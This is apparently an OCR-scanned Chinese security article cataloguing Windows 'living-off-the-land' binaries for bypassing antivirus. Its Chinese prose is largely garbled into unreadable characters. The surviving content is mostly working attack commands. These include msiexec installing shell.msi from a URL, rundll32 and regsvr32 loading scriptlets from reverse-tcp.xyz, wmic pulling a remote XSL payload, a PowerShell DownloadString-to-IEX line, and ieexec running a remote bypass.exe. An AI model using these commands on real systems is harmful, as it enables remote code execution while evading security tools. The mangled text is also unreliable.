EERRMAIEIECERZBBE (113 4Y)
BER

NEHR
o XTHBRHEERF
s ANABHE

o HITERLER (B 33 1)
e MSBuild.exe
e Msiexec.exe
¢ InstallUtil.exe
e Mshta.exe
e Rundll32.exe
e Regsv***.exe
e Cmstp.exe
e Ftp.exe
e Regasm.exe/Regsvcs.exe
e Compiler.exe
e Mavlnject.exe
e presentationhost.exe
o |Eexec.exe
e winrm.vbs/slmgr.vbs

e pubprn.vbs



Xwizard.exe
winword.exe
msdeloy.exe
psexec.exe
WMIC.exe

SyncAppvPublishingServer.vbs
Pcalua.exe

zipfldr.dll

Url.dll

DiskShadow.exe

Odbcconf.exe

Forfiles.exe

Te.exe

CScript.exe/WScript.exe
InfDefaultInstall.exe

e EHifth MS windows 2% (45 )

At.exe
Atbroker.exe
Bash.exe
Bitsadmin.exe
Certutil.exe
Cmd.exe
Cmdkey.exe
Control.exe

Csc.exe

Dfcvr ava



[ BE AV N VAN )

Dnscmd.exe
Esentutl.exe
Eventvwr.exe
Expand.exe

Extexport.exe

Extrac32.exe

Findstr.exe
GfxDownloadWrapper.exe
Gpscript.exe

Hh.exe

leduinit.exe

Jsc.exe

Makecab.exe

Mmc.exe

Msconfig.exe

Msdt.exe

Netsh.exe

Pcwrun.exe
Powershell.exe

Print.exe

Reg.exe

Regedit.exe
Register-cimprovider.exe
Replace.exe

R***ing.exe

Runonce.exe



Runscripthelper.exe
Sc.exe

Schtasks.exe
Scriptrunner.exe

Tttracer.exe

Verclsid.exe
Wab.exe
wmic.exe

Wsreset.exe

o RZESH (10 1)

Advpack.dll
Comsvcs.dll
leadvpack.dll
leaframe.dll
Mshtml.dll
Pcwutl.dll
stager.dll/stager.exe
Setupapi.dll
Shdocvw.dll
Shell32.dll
Syssetup.dll

o Hftt MSER (21 1)

Appvlp.exe
Bginfo.exe
Cdb.exe



csi.exe
Devtoolslauncher.exe
dnx.exe

Dotnet.exe

Dxcap.exe

Excel.exe
Mftrace.exe
msxsl.exe
Powerpnt.exe
rcsi.exe
Sqldumper.exe
Sqlps.exe
SQLToolsPS.exe
Squirrel.exe
Tracker.exe
Update.exe
vsjitdebugger.exe
Wsl.exe

o ARSI (4 1)

CL_Mutexverifiers.ps1
CL_Invocation.ps1
Manage-bde.wsf
Pester.bat



*REFERR: MHREMERAIRN, BEMTEREUZENENNFEIRRER, EHHIAREKE
BTEZREURENFERN, SUERETHE!

(IR AMANIRISLE) RYINEBR:

s R M IEISEE: (1) &tk

ITIERAMANI RIS 2) TRRER

iz R M IRISER: (3) fRBA - C/C++

IR ARAMNIIRISER (4) KR8k - C#
g R M IEISERE (5) X34 - Python

=R AR MANIIEISLE (6) ISR - Powershell
=R AMNIIEIER (7) {835 - Golang+Ruby
=R MNIIEISER (8)shellcode H2RSCEE
TR EMANIIEISLE: (9) BRE (113 ) B4k

O 00 N OO0 1 h W N =
P e

ATHBRIER

BEARNERREFFBNF EAEERIFRERNE T, BRREFFAESEERT
LOLBins, &%k “Living-Off-the-Land Binaries” , EREIEA "4 EERME_ EA T HE

", XMESERYIE 2013 & DerbyCon ZEKXSH Christopher Campbell 1 Matt Graeber
Hi7eliE, F2 Philip Goh 27 LOLBins X MIEE,

HAEFABERRZ /9 LOLBIns:

1. FJLAE®HE Microsoft &&B #HEISE, TR Microsoft Rt R HEHIX
%,


https://www.freebuf.com/articles/system/227461.html
https://www.freebuf.com/articles/system/227462.html
https://www.freebuf.com/articles/system/227463.html
https://www.freebuf.com/articles/system/227464.html
https://www.freebuf.com/articles/system/227466.html
https://www.freebuf.com/articles/system/227467.html
https://www.freebuf.com/articles/system/227468.html
https://www.freebuf.com/articles/system/228233.html

2. ALARB=IFNEERIER.

3. BBXJ APT s(4IRNi2iETE FRRITIEE

4, ZEFPRIIERRIINRE, LM ZIMITA. (0 HFUTEENE. 5id
UAC) .

REFINENEE 34 BB/ 63, HNET 33 MENNBZRER, D5lA:
Rundll32.exe. Msiexec.exe, MSBuild.exe, InstallUtil.exe, Mshta.exe, Regsv***.exe,
Cmstp.exe, CScript.exe, WScript.exe, Forfiles.exe, te.exe, Odbcconf.exe,
InfDefaultinstall.exe, Diskshadow.exe, PsExec.exe. Msdeploy.exe, Winword.exe,
Regasm.exe, Regsvcs.exe, Ftp.exe. pubprn.vbs, winrm.vbs, simgr.vbs,
Xwizard.exe, Compiler.exe, IEExec.exe, Mavinject32, Presentationhost.exe,

Wmic.exe, Pcalua.exe, Urldll, zipfldr.dll, Syncappvpublishingserver.vbs,

SOABRERY LOLBins FEFFR]LAEAIF, RERLRARMIREZ], BLEAXRTEMmA
FAsEH4T payload B9, FXM https://lolbas-project.github.io ZEEfhihrattiges] 113
. BRT ZBEINER 33 Mb, BB 80 NEF R EAEXMEENA.

-

/

> il

TR EEFIIE payload FIRRIKNFERIKAT AN GIE, #SER payload B
ERARPEFRRAHIEN, AXENARRIEFRIRRERAMOTA.

BREFINENBXIETE: https://github.com/TideSec/BypassAntiVirus

ANABHEE

1. T3 (Bl 33 1)


https://lolbas-project.github.io/
https://github.com/TideSec/BypassAntiVirus

XEMRZARRIEFEEE T — L2 EIRS Bt RER— LR BEHT 7&K, X
EREFHERNEEEE" Tide REHB" ARS LEAS, XERREHEZSI—T.

2. Eftt MS windows &R (45 4

XL ER windows BRRIFTHITIER, BRIRIAEEREEHEMEZ), BeXBaIaLIZ—
i,

3. BGFEXE (101N
windows B8 dil 324, —HRFEEFER rundlI32 KANEHHRIT.
4. Bft MSTER (21 1)

F3E windows B, {BETFHERECERNRBRRZHIEE, than office. donet, visual studio
EREFTEESINERF.

5. B (4 1)

windows BrsRIBIARSZ S, BTRsRNNE payload,

/ — A /\\ Al P : S
HiTas<3R (B 33 1)
ERRRETR 34 BT 63(ERMERANIBRINRE" Tide ZE£HPA" L), HEET 33
MEINNBAREER, F— T 7 omANFEUN, Rk thEXELEHT FiiiEER
EFHTEELR, FEUNNSRET S RN SR,

R AN 1.1



IVISBUlId.exe
REATHEN: xm| BERRIIASMARPITHTIE,

FSCESEE:  https://mp.weixin.gg.com/s/TWEgIPXm1Q5n6T-c40hhXA

Microsoft Build Engine — MTFEENBERIFE, W5I1ZW0EFRA msbuild, BRI
B3R XML RS, @3 s e ash EFIaE 4. Visual Studio {3
MSBuild, {BEAKERTF Visual Studio, BISEINB SRR A REXEFFHIER msbuild.exe, A
PATEARZZE Visual Studio ROIRE P RIFFILERIER.

AT
msbuild.exe JIFESHHIFS AR

1. AHINEAT :

- %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild nps.xml
2. ImRESCAFAT

wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start
%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml

Msiexec.exe
RPATMGN : FUTHIRIITATRE
FSCEERE:  https://mp.weixin.qg.com/s/XPrBK1Yh5ggO-Pek85mqcg

&% msiexec AJgEIAE AL, (BidE. msi AJREFLLIRHE T, & windows T RZHGLeE
2. msi 8AY. = Windows BIERHR L% 7 Windows Installer 5|2, i MSI 248 H
1Z5 |23k ZRNER, BREIE RN HTERFERI X AR B9 Msiexec.exe,


https://mp.weixin.qq.com/s/1WEglPXm1Q5n6T-c4OhhXA
https://mp.weixin.qq.com/s/XPrBK1Yh5ggO-PeK85mqcg

T A
msi AR GHAT, BRILASS1T82E 11T, MTH msiexec BEIESZHTE TEINEE, 1§
msi {4 HERIIRSSEE, BIdU FapSimiEiieT:

msiexec /q /i http://www.tidesec.com/shell/shell.msi

InstallUtil.exe

RYATHRI: 360 ZLBHAISME] InstallUtil.exe HYTITE, 360 RERKABARAI
T,

PEESIEREE:  https://mp.weixin.qg.com/s/gN2p3ZHODZFia2761BVSzg

InstallUtil.exe B2 FXABREB(FERLLRZH—1 T, InstallUtil.exe AJLABRFZESF. NET
FARHFFENALERR, WEREFH .NET Framework FF& Windows fRSS, NIRTLASEH
installutil.exe TSI THRIEZ MRS N FHFERF.

metasploit BHAY evasion BRIER, FIRM T windows/applocker evasion install util 3
E#26l%2 InstallUtil.exe BTAIEAY payload, FIimizRREBNE (4)-Evasion EHREBR (VT
TBRE 12/71): https://mp.weixin.qgg.com/s/YnnCM7W20xScv52k ubxYQ

55, B 20 BRY GreatSCT IR T ETF InstallUtil.exe A9%
2% https://mp.weixin.qq.com/s/s9DFRIgpvpE- MneO0B FQ

AT


https://mp.weixin.qq.com/s/YnnCM7W20xScv52k_ubxYQ
https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ
https://mp.weixin.qq.com/s/gN2p3ZHODZFia2761BVSzg

{$H csc #miF InstallUtil-ShellCode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\test\shell.exe
C:\test\InstallUtil-ShellCode.cs

{EH InstallUtil.exe #1417 shell.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U
C:\test\shell.exe

Mshta.exe

REAT/IN: hta BERRITASALA RIITHTRE,

N\

S EEE:  https://mp.weixin.qgq.com/s/oBr-syv2ef5ljeGFrs7sHg

Mshta.exe 2EX Windows #{ERFHEXIER, X 2FR Microsoft HTML Application, 7]
ENEIMEGEN AMRCIES MR, BATHYT. HTA XX,

B

C:\Windows\System32\mshta.exe
C:\Windows\SysWOW64\mshta.exe

T
#47 hta

mshta.exe evilfile.hta

RiinAllIR? ave


https://mp.weixin.qq.com/s/oBr-syv2ef5IjeGFrs7sHg

RPAT/OEN: FUTRIKASATHRE

FSCEEE:  https://mp.weixin.gq.com/s/rm**AWC6HmMcphozfEZhRGA

Rundll32.exe, AJLAAT 32 (A9 DLL 34, LAsp<ATRYALTVERSIEHEIERE. « ERUE
FARHT DLL HHRINERREL, XEFEHIEST, REE Rundli32.exe, MASHE DLL /G
JRIHARE, XHFRISCIN 7R CRORETE. REFEB— Rundll.exe 34, BILAFAT 16 {ZAY
DLL 3214,

RundlI32.exe 17 FHIER LA Rundll32.exe DLLhame,Functionname, &35 x86,
x64 (789 Rundll32 @R, 64 IR FENATERRIZ 64 {iZ Rundll32.exe(ft
C:\Windows\System32 HXF).

Windows 7 BRIARIE :

6407 C:\Windows\System32\rundl132.exe
32f7 C:\Windows\SysWOW64\rundl132.exe

HTEE:
Rundli32 (9fFE, &% 8 ATT&CK Ff,

1) BEEHRT dIl XX

rundl132.exe c:\\windows\\debug\\item.dat,ServiceMain aaaa

rundl132.exe "C:\Windows\twain_64.d11",EntryPoint

2) FERERSFHRERFERY dIl FRIKICE dIl REL


https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA

2.1) AR shell32.dIl REHITEHIEIRDUUE (.cpl)

rund1132 shell32.d11l,Control_RunDLL <3 f}:44>

control.exe test.cpl

2.2) Advpack.dll - LaunchINFSection

advpack.dll FIF#EE BT AFIEREHSEEANIRIE -INF 325, IEANBIEFTR, " AEDREAEA
FREEeesiRA ", advpack.dll SRJLAKIEE FIAEHI TS / i5<SEHRAT,

rundl1l32.exe advpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,
C:\\Windows\\System32\\rund1132 advpack.dll,LaunchINFSectionEx
C:\\Windows\\system32\\ieuinit.inf,Install

Requires admin: No

Windows binary: Yes

Bypasses AppLocker Default rules: Yes
2.3) Advpack.dll — RegisterOCX

rundll32.exe advpack.dll,RegisterOCX calc.exe
Requires admin: No
Windows binary: Yes

Bypasses ApplLocker Default rules: Yes
2.4) zipfldr.dll - RouteTheCall
rundl132.exe zipfldr.dll,RouteTheCall calc.exe

2.5) url.dll - OpenURL

rundl132 wurl.dl1,0penURL file://C:/Windows/system32/calc.exe
rundl132.exe url.dll,OpenURL "C:\test\calc.hta"
rundll32.exe url.dll,OpenURL "C:\test\calc.url"



rundll32.exe url.dll,OpenURL http://192.168.1.4/Micropoor_url_dLL.hta
2.6) url.dll - FileProtocolHandler

rundll1l32.exe url.dll, FileProtocolHandler calc.exe

2.7) ieframe.dll - OpenURL

rundl132.exe ieframe.dll,0OpenURL "C:\test\calc.url"

2.8) shdocvw.dll - OpenURL

rundl132.exe shdocvw.dll,OpenURL "C:\test\calc.url"
2.9) ieadvpack.dll — LaunchINFSection
rundl132.exe ieadvpack.dll,LaunchINFSection test.inf,,1,
2.10) shell32.dIl - ShellExec RunDLL

rundl132.exe shell32.d11,ShellExec_RunDLL
C:\Windows\System32\calc.exe

2.11) pcwutl.dll - LaunchApplication
rundl132.exe C:\Windows\System32\pcwutl.dll,LaunchApplication calc.exe
2.12) Setupapi.dll — InstallHinfSection

# Launch an executable file via the InstallHinfSection function and .inf file section directive.
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\\Tools\\calc_exe.inf

2.13) Syssetup.dll — SetupInfObjectinstallAction



# Launch an executable file via the SetupInfObjectInstallAction function and .1inf file section
directive.

rundl132 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\something.inf

3) 47 javascript A

rundl132 javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://reverse-
tcp.xyz/payload.sct");window.close();

rundl132.exe javascript:"\..\mshtml.d1ll,RunHTMLApplication

";eval("w=new%20ActiveXObject (\"WScript.Shell\");w.run(\"calc\");window.close()");

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.Re
sponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im
rundll32.exe",0,true);?}

Regsv***.exe
RPATHEN: 360 FOXFERRITHTRE
PEASCESERE:  https://mp.weixin.gg.com/s/6v8w2YZLxHJFnXb-IbnYAA

Regsv*** B— " S1TLAER, AT EMFIEGEEM OLE =4, a0 Windows iEAZR+HRY
DLL #0 ActiveX #&%, LAap<1THNIE1T. Regsv***.exe it Windows XP RESIRARY
Windows B %systemroot%\System32 3{43zrh, 2@ regsv*** iEA— dil STUERT,
BX5 regsv** XEXFEFAVEERSEMNZE] Windows &, AfEHEXEHIEERRL T
RERFEURRE RN SREFEREHITRE. EM— dIl X, SEEERNEER
&, LME Windows BILAERE. 8%, BRTIEMFANESE dil 3XHh, WSXEAREAR.

Regsv***.exe 45 32 iffll 64 {if, #£ windows RFEFHHINIE


https://mp.weixin.qq.com/s/6v8w2YZLxHJFnXb-IbnYAA

6407: C:\WINDOWS\SysWOW64\regsv***. exe
32f7: C:\WINDOWS\system32\regsv*** exe

HPATIR:

PUTAHBIA

regsv***.exe /s /u /i:file.sct scrobj.dll
DNETAE AT

regsv*** . exe /s /u /i:http://reverse-tcp.xyz/file.sct scrobj.dll

regsv*** exe /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Cmstp.exe
RERATOEN . BT 360 £ITATRE, XHTIML
S EEE:  https://mp.weixin.qg.com/s/tgtvOMDGIKFWdRQENKJf5Q

Microsoft SRR B WHLREFERF (CMSTP.exe) ERTFLEEIZEIREREHEE N
e <$1TIER. CMSTP.exe IZESLEEEXHE (INF) EASE, HLERTTELAEZN
IRSSHECE 14,

WHEE T sea R CMSTP.exe ERFEERY INF 34, 5 Regsv*** #8{l, CMSTP.exe TJ8E#
A AR 28 INEA0411T DLL 8 COM A (SCT) . HHF CMSTP.exe R&iEH, &2
F21 Microsoft N FEIER, RAMZHITEIERATLASET AppLocker F1E 2 BFAH1EH,

£ windows F3{4ERE

6417 C:\Windows\Svstem32\cmstp.exe


https://mp.weixin.qq.com/s/tgtvOMDGlKFwdRQEnKJf5Q

S = B e 2

32 C:\Windows\SysWOW64\cmstp.exe
[L= >,
P

HITAIM payload: cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
HTITFZE payload: cmstp.exe /ni /s \\10.211.55.28\test\cmstp.inf

Ftp.exe

RPEATAEN: AEmRITARE

FFSCEEE:  https://mp.weixin.gg.com/s/rnmCIx50xA9z-00fjoUAVw

Ftp.exe @ Windows AEBEHHN—MER, BTHEX FTP TR, =BHEEARRY FTP 39,
Windows 2003 ERANIE:

C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe

Windows 7 BRIAIE:

C:\Windows\System32\ftp.exe
C:\Windows\SysWOWe4\ftp.exe

AT

echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt


https://mp.weixin.qq.com/s/rnmCIx5oxA9z-0OfjoUAVw

Regasm.exe/Regsvcs.exe

REAT/9MN: PUTHIRLARI T ATRE

N ERHE:  https://mp.weixin.qg.com/s/MCMjxPdUNdwV8is04AkILA

Regsvcs #1 Regasm 2 Windows ep1TSLAER, FTiEM. NET BEESIEE (COM) 12
&, WmEEZR Microsoft HTEHFERM., WEHEALUER Regsves #1 Regasm IEEIL
Z{5ER Windows SLAREFHITRIE. WSLRARER BT B R HENRE MR
BRER, LUSENAIMEENHETEMZ ANz TAAS: [ComRegisterFunction]a;

[ComUnregisterFunction] 755!, BIEHEENIRAERIBER MsTHELERT, BT
BEEEMANEGE IR,

AT

regasm.exe AllTheThingsx64.dll
regsvcs.exe AllTheThingsx64.d1l1

Compiler.exe
RPATHGN: ARITHTRE
FSCEERE:  https://mp.weixin.gg.com/s/Sm_3c)ISk6Pud1CLp-eAEQ

Microsoft. Workflow.Comiler.exe . NET Framework BRABEH—ANSCATE, BPeELL
XOML TERSERIF IR — N TERS BT ER R E R AV,

T2 R Microsoft. Workflow.Compiler i< FoiEIREl, ATRER
Microsoft. Workflow.Compiler.exe FRIERISIRBEMASRNIN PATH INRZEH,


https://mp.weixin.qq.com/s/MCMjxPdUNdwV8is04AklLA
https://mp.weixin.qq.com/s/Sm_3cJlSk6Pud1CLp-eAEQ

Win7 By Compiler.exe BRIAE :

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe

MiTHA=:

Microsoft.Workflow.Compiler.exe tests.xml results.xml

Mavlnject.exe

AT/ KRR ITHTRE

FSCERSERE:  https://mp.weixin.qq.com/s/dPOGj1VLhqwxJOe-gOs8vA
Mavinject32.exe ERHERNRREFEIMEIN—EES, STLAERESRRFE—HEENIBAIIIEE.

64 AIEF FHISUEZE : C:\Program Files\Common Files\microsoft
shared\ClickToRun\Mavlnject32.exe

HFITAE

C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING
<PATH DLL>

presentationhost.exe

RPAT/OEN: MRARPITHTE


https://mp.weixin.qq.com/s/dPOGj1VLhqwxJ0e-gOs8vA

FASCEEE:  https://mp.weixin.gg.com/s/r915Lh6MHv-Ece2DFr3EsA

Presentationhost.exe 2—/1NAREHR Windows a[#47344, BTz XAML NS Esn FEfERF
(BP. xbap 3X14) . EZ) Applocker BB BESEI%IZRSF, Presentationhost.exe &MUFIE
ih ({540 apiOcradl 0 milkdevil)

HEAFTFF. xbap MHAIFHEESCARE |E FEshBONBER, M2 Presentationhost.exe
hizfT, BEEE—NYfETLMRFBRP2SEEA BT,

AT

Presentationhost.exe C:\temp\Evil.xbap

|[Eexec.exe
REAT/REN: REUR R TATNE
PEASCEESERE:  https://mp.weixin.gg.com/s/wVbFrU9cE3hCYAENjmnSUQ

|IEexec.exe N AFERFRE. NET Framework iR, FETSNEFAREN. oJLUE
|EExec.exe NBEFAIEEMN, LUz1TER URL BoifVEMITERN BERF.

|[Eexe.exe 7E 64 I RFAIKZR S : C:\Windows\Microsoft. NET\Framework64\v2.0.50727
A=

ieexec.exe http://x.x.x.x:8080/bypass.exe

winrm.vbs/sImgr.vbs


https://mp.weixin.qq.com/s/r9l5Lh6MHv-Ece2DFr3EsA
https://mp.weixin.qq.com/s/wVbFrU9cE3hCYAENjmnSUQ

REPAT/OEN: BRARPITHRE

FSCEEE:  https://mp.weixin.gq.com/s/B30iMrEB98jtm4DvD2t2tQ

winrm.vbs(System32 FiiJ Windows &8 i) Bet(E I TIGE B +=HAY XSL, M XSL A
5% "enlightened script host” RYFR#I, SEEER. TEZRIAEHIT.

winrm.vbs M4V R :

C:\windows\system32\winrm.vbs

C:\windows\SysWOW64\winrm.vbs
Pz

cscript /b C:\Windows\System32\slmgr.vbs

winrm quickconfig

pubprn.vbs
RPATGN: AR R T ATRE
RS EEYERE:  https://mp.weixin.gg.com/s/btiaVMBPxfxG4oXPa7__kw

£ Windows 7 + £, ZFE— Microsoft &R WSH BIA, 279 PubPrn.vbs, ZHA{F
“C: \ Windows \ System32 \ Printing Admin Scripts \ en-US &, EEEIIFERART,
REARCIEEEZAFRENBAN (BEmSITEH) FHESHERE "GetObject().

SHAIE: C:\Windows\System32\Printing Admin_Scripts\en-US\pubprn.vbs


https://mp.weixin.qq.com/s/B3oiMrEB98jtm4DvD2t2tQ
https://mp.weixin.qq.com/s/btiaVMBPxfxG4oXPa7__kw

PATHE:

C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1
script:http://10.211.55.5/msf.sct

Xwizard.exe
REAT/EN: AR RKITHRE
RASCERERE:  https://mp.weixin.qg.com/s/8gaweOqgkOrT77riaevvFUg

xwizard.exe RiZ A Extensible wizard fY485, $XEIFAT BRRSTVHE, BRHTER
BEARAR.

FIA xwizard.exe 0#; dl ATLASRS N FBFEFF BB BRI, G AR RE xwizard.exe B
ISR, EEMEE LR, sEpsud N AiERFES R,

xwizard.exe 3z#F Win7 RUAEBIERSE, F %windir%\system32 \ T,

XIRZ 64 FRF:

%windir%\system32 \ X35z 64 {37 xwizard.exe, REENNE 64 {iI xwizards.dll
%wWindir%\SysWOW64 \ X35 32 {i xwizard.exe, REENZEL 32 {iZ xwizards.dll
PAT7a0:

xwizard processXMLFile 1.txt


https://mp.weixin.qq.com/s/8gaweOqkOrT77riaevvFUg

winword.exe
REATEN : A& RRITATIE

PEASCEESERE:  https://mp.weixin.gg.com/s/gXWK5i2cDaletSzkAEzL3w

winword.exe Z#X Microsoft Word BUEFER, 1ZFIBEREREREX Microsoft Office B4

AY—&B5
AT

winword.exe "http://192.168.19.146/shell.d1l"

msdeloy.exe
RPATMGN : AR FRITATRE
PFASCEYERE:  https://mp.weixin.gg.com/s/1oEzadXZxd3JukrBhNxxyw

msdeploy.exe 2fEIRHEAT web FBHSITLE, BIEAILASEERIESE web M. #iEE
%, BRIZTE C:\Program Files\lIS\Microsoft Web Deploy V3, msdeloy.exe BJLA{F IS BTLA
EAMENRIZERL, FTRFEE Web NARER, Ritsl Web [RSBHASHEE. EEBRE
TheE, XEINRERTLAS Bt A EZEAIRRTARLAN, FHHBRIBEARERE . N T ReBE
Fd Web Deploy, w/nefEilRitEVFEmTEN LR IS,

FITHE

msdeploy.exe -verb:sync -source:RunCommand -dest:Runcommand="C:\Program Files\IIS\Microsoft Web

Deploy V3\w_re.exe"


https://mp.weixin.qq.com/s/qXWK5i2cDaletSzkAEzL3w
https://mp.weixin.qq.com/s/1oEzadXZxd3JukrBhNxxyw

psexec.exe
REATHEN . AR THRE

FSCEEE:  https://mp.weixin.gq.com/s/)JdOmIqif67GcSqZuuGPz0Q

PsExec &2 SysinternalsSuite f/NTHEZ—, 2—MEERA telnet B m, RIFEEMERS
FHITHE, Rt eNAEFNTERRE, Mok FIEZ Finikid, FELEkESE
SIS N AN EY., £ windows RFEFHRBNAZE, TaEithNEsEE,
PATAR:

psexec #1417 payload:

psexec.exe -s -d msiexec /q /i http://yourservice/shell/win_re.txt
//-s ElsystemfX/RATT
/) -d AR R T

WMIC.exe

RPATMGN : AR FRRITATRE

PRSI EEREEE:  https://mp.weixin.gg.com/s/QNgM8VdIu-SOP7ZgnRWY3w

WMIC " WMI (Windows Management Instrumentation, Windows E12TH) , &t
TN ATEO G S AT TEREIENST. £ WMIC HIlZRT, MREEE WMI &R
&, WER—LEIN WMI N, a0 SMS, & ER WMI BIRIASRRE API, &R

% CIM Studio ZHMTH, MNRFHE C++ ZRARIZESE VBScript ZEMMAES,
HERER WMI SRZENEARIR, 2R WMI SERFEREMN., WMIC BEE T XIS


https://mp.weixin.qq.com/s/JdOmlqif67GcSqZuuGPz0Q
https://mp.weixin.qq.com/s/QNqM8Vdlu-SOP7ZqnRWY3w

e
Windows 2003 EAIE

C: \WINDOWS\system32\wbem\wmic.exe C:\WINDOWS\SysWOW64\wbem\wmic.exe

Windows 7 BRIAE :
C:\Windows\System32\wbem\WMIC.exe C:\Windows\SysWOW64\wbem\WMIC.exe
HFATIR:

wmic os get /FORMAT:"http://10.211.55.10/payload.xsl"

SyncAppvPublishingServer.vbs
FRPATHEN : AR RITHTRE
FHANERE: https://mp.weixin.qg.com/s/Ud7TbeMJb8fsRlaGHWhBww

Windows FBEFEMEARY SyncAppVPublishingServer TH, Bi1&:
SyncAppvPublishingServer.exe, SyncAppvPublishingServer.vbs, BTt ISRE4Y;

powershell,
WiTHAI:
£ powershell 1T

SyncAppvPublishingServer.vbs "n; ((New-Object
Net.WebClient).DownloadString('http://some.url/script.psi') | IEX"


https://mp.weixin.qq.com/s/Ud7TbeMJb8fsRlaGHWhBww

Pcalua.exe

RPAT/OEN: MRARPITHTRE

AN EREE:  https://mp.weixin.gg.com/s/Aj9A5 LRS uX8XN1rdUobQ

Pcalua 2 Windows #HiZFRS4ENE (Program Compatibility Assistant) By—/NE{4,
ZMATE C:\Windows\System32\pcalua.exe

PATAR:

Pcalua -m -a payload

zipfldr.dl|
FPATHEN: AR RITRINE

RS ESERE:  https://mp.weixin.gg.com/s/-qPVenl_lk-ZnMA4j9XNRQ
zipfldr.dll B Windows xp FHEETHRY zip X4E48 / EETBAMH,

588 zipfldr.dll FAERRZREHWESRIN PATH IMELEF, A, zipfldr.dll S8R50, B
BT R dil 34, FEiERA rundli32.exe k#1117, Windows 2003 EGANE:

C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll

—_ ke A .


https://mp.weixin.qq.com/s/Aj9A5_LRS_uX8XN1rdUobQ
https://mp.weixin.qq.com/s/-qPVenI_lk-ZnMA4j9XNRQ

Windows 7 2KIANE :

C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll

MiTHA=:

rundl132.exe zipfldr.dll,RouteTheCall msf.exe

Url.dll
RPATAGN: AR R T ATRE
FASCEEE:  https://mp.weixin.gg.com/s/GzoYvfj7NkXe nc8eOVEBQ

url.dll 2 Internet HREEFH RAERNAEFZORT . url.dll FIERZEHRRSHI
PATH IiMEZEE, EIt, urldll a5<$a[iR%0, ERFA dI X, FREMA rundli32.exe ki

,—

17,
Windows 2003 ERALIE:

C:\Windows\System32\url.dll
C:\Windows\SysWOW64\url.d1ll

Windows 7 BRINUE :

C:\Windows\System32\url.d1ll
C:\Windows\SysWOW64\url.dll

MiTa:


https://mp.weixin.qq.com/s/GzoYvfj7NkXe_nc8eOVEBQ

rundll32.exe url.dll, OpenURL file://c:\windows\system32\calc.exe
rundl132.exe url.dll, OpenURLA file://c:\windows\system32\calc.exe

rundll32.exe url.dll, FileProtocolHandler calc.exe

DiskShadow.exe

RPATHGN: AR T ATRE
FSCESERE:  https://mp.weixin.gq.com/s/prOKYjk80Ylk4gJO5h3Yaw

diskshadow.exe 2—MT H, IJAFEFEHIIRS (VSS) RBHAMIIEE. BABRT,
diskshadow {EEZ{L1TF diskraid 8% DiskPart B9 Bt S HERREs, diskshadow IXEHET] YR

EMARER., ((FRMRES R https://docs.microsoft.com/en-us/windows-
server/administration/windows-commands/diskshadow )

AT

diskshadow.exe /s c:\test\diskshadow.txt

Odbcconf.exe
RPATGN: AR RRITATRE
PFASCESERE:  https://mp.weixin.gg.com/s/uOwgbWO0nkG776zZz60 WFA

Odbcconf.exe E—/\is$1TTHE, TiHEEE ODBC IREFEFFIEUERZR (s 5 SRy

https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver15 ) ,

Odbcconf.exe £ windows FRIRI—RZESER /9 C:\Windows\System32\odbcconf.exe

~\vaAare 1 o~ VAIAVAI/, AN r


https://mp.weixin.qq.com/s/pr0KYjk80YIk4qJO5h3Yaw
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow
https://mp.weixin.qq.com/s/uOwqbW0nkG776zZz6O_WFA
https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver15

CAWINAOWS\>ysvwovwb4\odobccont.exe

AT

odbcconf.exe /a {regsvr C:\Users\Administrator\Desktop\hacker.d1l1l}

Forfiles.exe

REPAT/OEN: BRARPITHTRE

FSCEEE:  https://mp.weixin.gg.com/s/1-HyeNrd4IXQYsyG6dHQkw

Forfiles 2—3K windows FEEUALRIXHEFRRTRZ—, AJLABI &R, 208H

ISR MER BT S RIBMEE. SRLIEREGSTHER, BaLEAE

A E R AN (.
BALERNE:

C:\WINDOWS\system32\forfiles.exe
C: \WINDOWS\SysWOwe4\forfiles.exe

B4BA: Forfiles.exe FRTEIRIR MR SEAIN PATH IMi8Zs2h, EIt, Forfiles $5$aRE, =
2= x86, x64 (MAY Forfiles V&,

T A

forfiles /p c:\windows\system32 /m cmd.exe /c "msiexec.exe /q /i

C:\Users\administrator\Desktop\TIDE. txt"

Te ave


https://mp.weixin.qq.com/s/1-HyeNrd4IXQYsyG6dHQkw

REPAT/OREN: MRARPITHTRE

AN EEREEE:  https://mp.weixin.gg.com/s/m37wm620qQ1xw4BN2hGOpg

WNERZLHE T TAEF (Test Authoring and Execution Framework) #EZ2RHBEMFHIANBRER
K, WATLAMERE, EEEITEN _EZE Visual Studio #1 WDK,

HERER N https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/
BIALENE:

C:\ program files(x86)\Windows Kits\10\testing\Runtimes\TAEF

